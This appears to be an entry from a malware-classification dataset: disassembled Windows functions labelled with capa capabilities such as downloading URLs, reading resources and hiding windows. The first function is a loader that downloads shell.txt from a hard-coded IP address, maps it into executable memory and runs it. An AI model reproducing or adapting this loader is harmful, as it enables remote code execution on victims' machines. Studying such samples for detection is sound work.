joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402c60
Capabilities:
Download url
Get file size
Read file on windows
Read file via mapping
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0
push 0
push str.C:ProgramData_shell.txt
push str.http:__45.207.55.128_shell.txt
push 0
call sub.urlmon.dll_URLDownloadToFileA
push 0
push 0x80
push 4
push 0
push 1
push SysReAllocStringLen
push str.C:ProgramData_shell.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push ebx
mov dword [ebp - 0x10], ebx
call fcn.0040d70f
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
push 0
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push ebx
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push ebx
push 0
push 0
push 6
push eax
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, ebx
mov edi, eax
mov edx, ecx
mov dword [ebp - 0xc], eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 4]
push ecx
push 0x20
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pushal
mov eax, dword [ebp - 0xc]
call eax
popal
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x10]
mov esi, dword [ebp - 0xc]
lea edx, [ebp - 4]
push edx
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x41d2b0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.0040d6e0
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x41d37b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x41d37b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x41d32e
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x41d339
or bh, 8
and edi, 0x8000000
je 0x41d354
mov eax, dword [0x45959c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x41d37b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41d750
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x41d77b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x41d79f
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x41d7ba
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x420e28
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov eax, ebx
push edi
mov edi, ecx
shr eax, 0x10
test ax, ax
mov dword [edi + 0x40], ebx
jne 0x420e4a
cmp dword [edi + 0x3c], 0
jne 0x420e4a
movzx eax, bx
mov dword [edi + 0x3c], eax
call fcn.00437d36
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
mov ecx, edi
push dword [esp + 0x18]
push eax
call fcn.00420e77
pop edi
pop esi
pop ebx
ret 8

Function at 0x420ec5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
mov ebx, ecx
xor edi, edi
call fcn.00437d36
mov esi, dword [eax + 0xc]
push 5
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x420ef6
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push esi
mov ecx, ebx
push dword [esp + 0x18]
push edi
call fcn.00420f09
pop edi
pop esi
pop ebx
ret 8
Function at 0x4211fb
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x43e724
call fcn.0040db98
sub esp, 0x18
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], esi
mov eax, dword [esi + 0x48]
mov edi, dword [esi + 0x44]
mov dword [ebp - 0x18], eax
call fcn.00437d36
cmp dword [esi + 0x40], 0
mov ebx, dword [eax + 0xc]
je 0x42123a
call fcn.00437d36
mov ebx, dword [eax + 0xc]
push 5
push dword [esi + 0x40]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x421248
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x421256
or eax, 0xffffffff
jmp 0x42133e
mov ecx, esi
call fcn.00421171
mov dword [ebp - 0x14], eax
call fcn.00422030
xor edi, edi
cmp dword [ebp - 0x14], edi
mov dword [ebp - 0x20], edi
je 0x42128d
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x42128d
push edi
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x20], 1
push esi
mov dword [ebp - 4], edi
call fcn.00421fe4
push dword [ebp - 0x14]
call fcn.00421b16
push ebx
push eax
push dword [ebp - 0x18]
mov ecx, esi
call fcn.00420f09
cmp eax, edi
je 0x421300
test byte [esi + 0x24], 0x10
je 0x4212ce
push 4
mov ecx, esi
pop ebx
call fcn.00424973
test ah, 1
je 0x4212c6
push 5
pop ebx
push ebx
mov ecx, esi
call fcn.0042433a
cmp dword [esi + 0x1c], edi
je 0x421300
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.00424ae4
jmp 0x421300
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], edi
je 0x421314
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x42132d
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x1c]
jne 0x42132d
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x58]
mov ecx, esi
call fcn.004211ab
mov eax, dword [esi + 0x2c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x4224e0
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x422518
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00425f2e
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00425f06
jmp 0x422524
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4
Function at 0x4240e3
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x424125
call fcn.00437d36
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x424125
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x42411c
xor eax, eax
jmp 0x42412d
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00424133
pop edi
pop esi
pop ebx
ret 4

Function at 0x43678e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov dword [ebp - 8], ecx
call fcn.00437d36
mov esi, dword [eax + 0xc]
push 0xf1
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x4367cb
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4367cb
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x4367cf
xor eax, eax
jmp 0x43684d
movzx eax, word [esi + 6]
push ebx
push edi
shl eax, 2
push eax
call fcn.00420c1a
and dword [ebp - 4], 0
cmp word [esi + 6], 0
pop ecx
mov ebx, eax
jbe 0x436807
mov ecx, ebx
lea eax, [esi + 8]
movzx edx, word [eax]
inc dword [ebp - 4]
mov dword [ecx], edx
movzx edx, word [esi + 6]
inc eax
add ecx, 4
inc eax
cmp dword [ebp - 4], edx
jl 0x4367f1
movzx eax, word [esi + 6]
mov ecx, dword [ebp - 8]
push eax
push ebx
call fcn.0043693e
push ebx
mov edi, eax
call fcn.00420c43
test edi, edi
pop ecx
je 0x436849
movzx ecx, word [esi + 4]
movzx eax, word [esi + 2]
lea esi, [ecx + 7]
push ecx
mov ecx, dword [ebp - 8]
lea edx, [eax + 7]
push eax
push esi
push edx
call fcn.00436707
push dword [ebp + 8]
mov ecx, dword [ebp - 8]
call fcn.00436852
mov edi, eax
mov eax, edi
pop edi
pop ebx
pop esi
leave
ret 4
Function at 0x41c500
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
cmp dword [0x427850], 0
jne 0x41c581
cmp dword [0x427870], 0
jne 0x41c530
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x427870], eax
test eax, eax
jne 0x41c530
push str.GetEnvironmentStrings_failed
call fcn.0041bd1c
pop ecx
xor ebp, ebp
xor esi, esi
mov ebx, dword [0x427870]
jmp 0x41c544
lea eax, [edi + 1]
inc esi
add ebp, eax
add ebx, eax
push ebx
call fcn.004168a4
pop ecx
mov edi, eax
test eax, eax
jne 0x41c53c
lea edi, [ebp + 1]
push edi
call fcn.004161a8
pop ecx
mov ebx, eax
mov dword [0x427854], ebx
test ebx, ebx
jne 0x41c56e
xor eax, eax
jmp 0x41c644
push edi
mov edx, dword [0x427870]
push edx
push ebx
call fcn.00416754
add esp, 0xc
jmp 0x41c5a1
xor esi, esi
mov ebx, dword [0x427850]
jmp 0x41c59b
push eax
call fcn.004168a4
pop ecx
test eax, eax
jne 0x41c597
dec esi
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x41c58b
lea ebx, [esi + 4]
push 4
mov dword [0x427858], ebx
inc ebx
push ebx
call fcn.00415c80
add esp, 8
test eax, eax
mov dword [esp], eax
jne 0x41c5c4
xor eax, eax
jmp 0x41c644
cmp dword [0x427850], 0
jne 0x41c5f5
xor esi, esi
mov ebx, dword [0x427854]
mov eax, dword [esp]
mov ebp, eax
jmp 0x41c5e6
mov dword [ebp], ebx
add ebp, 4
inc esi
inc edi
add ebx, edi
push ebx
call fcn.004168a4
pop ecx
mov edi, eax
test eax, eax
jne 0x41c5dc
jmp 0x41c626
xor esi, esi
mov ebx, dword [0x427850]
mov eax, dword [esp]
mov edi, eax
jmp 0x41c620
push eax
call fcn.004168a4
pop ecx
test eax, eax
je 0x41c615
mov eax, dword [ebx]
mov dword [edi], eax
jmp 0x41c619
dec esi
add edi, 0xfffffffc
add edi, 4
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x41c604
mov eax, dword [0x427850]
test eax, eax
je 0x41c636
push eax
call fcn.004161b8
pop ecx
mov edx, dword [esp]
mov eax, 1
mov dword [0x427850], edx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x96d000
Capabilities:
Encode data using xor

Disassembly:
fmul qword [esi + 0x5ee0d92d]
inc ecx
mov dword [ebx - 0x4c], esi
bnd jae 0x96cfc9
test byte [eax], bl
stosb byte es:[edi], al
and al, 0xd9
lodsd eax, dword [esi]
imul ebp, dword [eax + ebx + 0x25], 0xffffffc1
sbb eax, 0xe49130e8
cmc
xchg byte [edx], al
inc esi
ror byte [ebp + 0x1fda7812], 1
js 0x96cfa2
pop ds
push edi
jmp ebx
lds esp, [ebp + 0x4621adfc]
and byte [0x16e38f4b], 0x87
push 0xffffffffffffffde
imul ecx, dword [ebx - 0x42], 0xffffff8f
pop ecx
mov eax, dword [0x10f6b56d]
jo 0x96d027
mov dword [0x6e1d4a53], eax
mov eax, dword fs:[0xea027904]
xchg ebx, eax
or bl, al
or ch, byte [edi]
inc edx
ret
jbe 0x96cfc6
mov dl, 0x65
xchg esi, eax
movsd dword es:[edi], dword [esi]
xchg ebx, eax
adc ebp, esp
ficom dword [esi + 0x57ee1ec6]
or byte [esp + edx*2 + 0x6b54c853], bl
aad 0x10
mov bl, 0xc6
lahf
and esi, dword [edx + ecx*4]
jns 0x96cff1
invalid
Function at 0x4013f4
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push esi
push edi
cmp dword [0x4708ba], 0
je 0x40141a
push dword [0x4708ba]
call sub.kernel32.dll_GlobalFree
mov dword [0x4708ba], 0
mov eax, dword [ebp + 8]
cmp dword [0x44f39d], 0
je 0x40150f
cmp byte [eax], 0
je 0x40150f
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x40150f
mov dword [ebp - 4], eax
push 0
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
push eax
inc eax
inc eax
push eax
push 0x40
call fcn.00401030
mov dword [0x4708ba], eax
mov esi, eax
mov edi, eax
pop edx
push 0
lea eax, [ebp - 8]
push eax
push edx
push esi
push dword [ebp - 4]
call sub.kernel32.dll_ReadFile
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
mov dword [ebp - 8], 0
cmp word [esi], 0xfeff
jne 0x4014a1
add esi, 2
jmp 0x4014fb
jmp 0x4014a8
add esi, 2
cmp word [esi], 0x20
je 0x4014a5
cmp word [esi], 9
je 0x4014a5
cmp word [esi], 0xd
je 0x4014a5
cmp word [esi], 0xa
je 0x4014a5
cmp word [esi], 0x3b
jne 0x4014cd
call fcn.0040157a
jmp 0x4014a1
cmp word [esi], 0x5b
jne 0x4014ee
cmp dword [ebp - 8], 0
je 0x4014e2
xor ax, ax
mov word [edi], ax
add edi, 2
inc dword [ebp - 8]
call fcn.00401515
jmp 0x4014a1
cmp word [esi], 0
je 0x4014fb
call fcn.00401539
jmp 0x4014a1
cmp word [esi], 0
jne 0x4014a3
xor ax, ax
mov word [edi], ax
mov word [edi + 2], ax
mov word [edi + 4], ax
pop edi
pop esi
leave
ret 4

Function at 0x401b07
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push esi
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 0x10]
call sub.kernel32.dll_CreateFileA
cmp eax, 0xffffffff
je 0x401bca
mov dword [ebp - 4], eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
call sub.kernel32.dll_GetFileSize
mov dword [ebp - 0xc], eax
inc eax
push eax
push 0x40
call fcn.00401030
mov dword [ebp - 8], eax
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0xc]
push dword [ebp - 8]
push dword [ebp - 4]
call sub.kernel32.dll_ReadFile
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
mov esi, dword [ebp - 8]
mov al, byte [esi]
or al, al
je 0x401bb6
dec esi
inc esi
mov ax, word [esi]
cmp al, 0x3b
je 0x401b83
cmp ax, 0x2f2f
jne 0x401b8a
call fcn.00401c1f
mov al, byte [esi]
cmp al, 0xd
je 0x401b75
cmp al, 0xa
je 0x401b75
or al, al
je 0x401bb6
cmp dword [ebp + 0x14], 1
jbe 0x401ba1
call fcn.00401bfe
push dword [ebp + 0x14]
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00401a38
add esi, eax
or eax, eax
jne 0x401b75
mov eax, dword [0x44f379]
mov dword [0x44f375], eax
push dword [ebp - 8]
call sub.kernel32.dll_GlobalFree
jmp 0x401bf9
push 0x44ecd3
push 0x467936
call fcn.004010a7
push dword [ebp + 0x10]
push 0x467936
call fcn.004010c5
push 0x10
push 0x44f25f
push 0x467936
push 0
call sub.user32.dll_MessageBoxA
pop esi
leave
ret 0x10
Function at 0x401c2d
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push 0x45cd1a
push 0x100
push 0x45f916
push 0x44ef8c
push str.Trig
push 0x47b7b2
call sub.kernel32.dll_GetPrivateProfileStringA
push 0x45cd1a
push 0x40
push 0x45ca0e
push 0x44ef8c
push 0x44fb39
push 0x47b7b2
call sub.kernel32.dll_GetPrivateProfileStringA
push 0x45fa16
push 0x45ca0e
call fcn.0040cd48
push 0x45fa36
push 0x45ca0e
call fcn.0040cd48
push 0x45fa56
push 0x45ca0e
call fcn.0040cd48
push 0x45cd1a
push 0x40
push 0x45ca0e
push 0x44ef8c
push 0x44fb3d
push 0x47b7b2
call sub.kernel32.dll_GetPrivateProfileStringA
push 0x45fa76
push 0x45ca0e
call fcn.0040cd48
push 0x45fa96
push 0x45ca0e
call fcn.0040cd48
push 0x45fab6
push 0x45ca0e
call fcn.0040cd48
push 0x45cd1a
push 0x104
push 0x45ca0e
push 0x44ef8c
push str.Call
push 0x47b7b2
call sub.kernel32.dll_GetPrivateProfileStringA
or eax, eax
je 0x401d77
jmp 0x401d6e
push 0x45d12a
lea eax, [ebp - 0x100]
push eax
call fcn.004010a7
push 0x44ef92
lea eax, [ebp - 0x100]
push eax
call fcn.004010c5
lea eax, [ebp - 0x100]
push eax
call fcn.004010ef
lea eax, [eax + ebp - 0x100]
push eax
push 0x45ca0e
call fcn.0040cd48
push 2
lea eax, [ebp - 0x100]
push eax
push 0
push 0x41
call fcn.00401b07
cmp byte [0x45ca0e], 0
jne 0x401d1c
mov dword [0x4777aa], 0
mov al, byte [0x45f916]
or al, al
jne 0x401d90
inc dword [0x4777aa]
leave
ret
Function at 0x402a50
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push 0
push dword [0x453900]
call sub.user32.dll_ShowWindow
mov dword [0x44f3b9], 0
push 0
push 0
push 0x18b
push dword [0x4538fc]
call sub.user32.dll_SendMessageA
or eax, eax
je 0x402b92
lea eax, [ebp - 0x18]
push eax
push dword [0x4538fc]
call sub.user32.dll_GetWindowRect
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x18]
mov dword [0x44fb41], eax
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x14]
mov dword [0x44fb45], eax
push 0
call sub.user32.dll_GetSystemMetrics
mov dword [ebp - 0x1c], eax
push 1
call sub.user32.dll_GetSystemMetrics
mov dword [ebp - 0x20], eax
lea eax, [ebp - 8]
push eax
call sub.user32.dll_GetCaretPos
lea eax, [ebp - 0x18]
push eax
push 0
push 0xb2
push dword [ebp + 8]
call sub.user32.dll_SendMessageA
lea eax, [ebp - 0x18]
push eax
push dword [ebp + 8]
call sub.user32.dll_ClientToScreen
mov edx, dword [0x44fb41]
mov eax, dword [ebp - 8]
add dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
add eax, edx
cmp eax, dword [ebp - 0x1c]
jle 0x402b15
sub dword [ebp - 0x18], edx
jae 0x402b15
mov eax, dword [ebp - 0x18]
add dword [0x44fb41], eax
mov dword [ebp - 0x18], 0
push 0
push dword [ebp + 8]
call sub.user32.dll_GetWindowLongA
mov edx, dword [eax + 0x1b8]
add edx, dword [eax + 0x1cc]
add edx, 3
mov dword [ebp - 0x24], edx
mov eax, edx
add eax, dword [ebp - 4]
mov edx, dword [0x44fb45]
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add eax, edx
cmp eax, dword [ebp - 0x20]
jle 0x402b64
add edx, dword [ebp - 0x24]
add edx, 3
sub dword [ebp - 0x14], edx
jae 0x402b64
mov eax, dword [ebp - 0x14]
add dword [0x44fb45], eax
mov dword [ebp - 0x14], 0
push 1
push dword [0x44fb45]
push dword [0x44fb41]
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push dword [0x4538fc]
call sub.user32.dll_MoveWindow
push 4
push dword [0x4538fc]
call sub.user32.dll_ShowWindow
jmp 0x402b9f
push 0
push dword [0x4538fc]
call sub.user32.dll_ShowWindow
leave
ret 4

Function at 0x402ba3
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x45ff8a], 0
je 0x402be4
cmp dword [0x44f3a9], 0
je 0x402be4
push dword [ebp + 8]
call fcn.00402a50
push dword [ebp + 8]
pop dword [0x44f3b5]
xor eax, eax
mov dword [0x45ff96], eax
mov dword [0x45ff9a], eax
mov dword [0x45ff9e], eax
mov dword [0x45ffa2], eax
jmp 0x402c77
cmp dword [0x45ff8e], 0
jne 0x402bf6
cmp dword [0x45ff92], 0
je 0x402c46
push 0
push 0
push 0x18b
push dword [0x4538fc]
call sub.user32.dll_SendMessageA
or eax, eax
je 0x402c18
push dword [ebp + 8]
call fcn.00402a50
jmp 0x402c25
push 0
push dword [0x4538fc]
call sub.user32.dll_ShowWindow
push dword [ebp + 8]
pop dword [0x44f3b5]
xor eax, eax
mov dword [0x45ff96], eax
mov dword [0x45ff9a], eax
mov dword [0x45ff9e], eax
mov dword [0x45ffa2], eax
jmp 0x402c77
cmp dword [0x44f3b5], 0
je 0x402c77
push 0
push dword [0x4538fc]
call sub.user32.dll_ShowWindow
xor eax, eax
mov dword [0x44f3b5], eax
mov dword [0x45ff96], eax
mov dword [0x45ff9a], eax
mov dword [0x45ff9e], eax
mov dword [0x45ffa2], eax
leave
ret 4